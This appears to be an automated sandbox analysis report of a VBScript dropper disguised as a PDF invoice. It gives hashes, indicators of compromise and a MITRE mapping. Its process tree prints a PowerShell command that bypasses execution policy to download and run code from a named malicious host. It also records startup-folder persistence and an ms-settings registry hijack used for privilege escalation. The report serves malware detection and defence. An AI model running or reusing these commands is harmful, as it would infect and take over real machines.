2a7f4adcf351e75c03b1a62df7d7528d19056bd963720f953f73f05a625ef068

Reason

Machine shutdown

General

Target

FACTURAgzneih0__Ikb_(295).PDF.vbs
Size

781B
MD5

498f2220d6962b5b49fc6c2750610a90
SHA1

06485ce9a6ba48a240c712497900a4240385ea02
SHA256

36c56e3a9202c35e76a3ed10d00650c821b6ee9e1b3834fbab5fa5047d1ee99c
SHA512

e7bd5952c327938e373811d3979c3a930d20782a9d8fc06f5f315da87f43ca02e3db86f65aaafebf63c86800df5733005f67db5a6dbf4546fd17ce4ed9649e42

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://dftssa.3utilities.com/03/17

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	2956	WScript.exe
6	2184	powershell.exe
8	2184	powershell.exe
9	2184	powershell.exe
10	2956	WScript.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zqkxwh9_.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zqkxwh9_EX.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zqkxwh9_AT.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zqkxwh9_AA.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zqkxwh9_y.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings\Shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings\Shell\Open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings\Shell\Open\command\ = "C:\\_zqkxwh9_\\_zqkxwh9_i7.exe"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1861898231-3446828954-4278112889-1000_CLASSES\ms-settings\Shell\Open\command	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeShutdownPrivilege	2516	shutdown.exe
Token: SeRemoteShutdownPrivilege	2516	shutdown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2184	2956	WScript.exe	28
PID 2956 wrote to memory of 2184	2956	WScript.exe	28
PID 2956 wrote to memory of 2184	2956	WScript.exe	28
PID 2184 wrote to memory of 2516	2184	powershell.exe	31
PID 2184 wrote to memory of 2516	2184	powershell.exe	31
PID 2184 wrote to memory of 2516	2184	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURAgzneih0__Ikb_(295).PDF.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://dftssa.3utilities.com/03/17')"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\shutdown.exe
    "C:\Windows\system32\shutdown.exe" /r /t 15
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2516

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2520

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1772-28-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/2184-8-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2184-9-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-7-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2184-6-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2184-5-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-4-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2184-10-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2184-25-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-26-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2520-27-0x00000000029C0000-0x00000000029C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors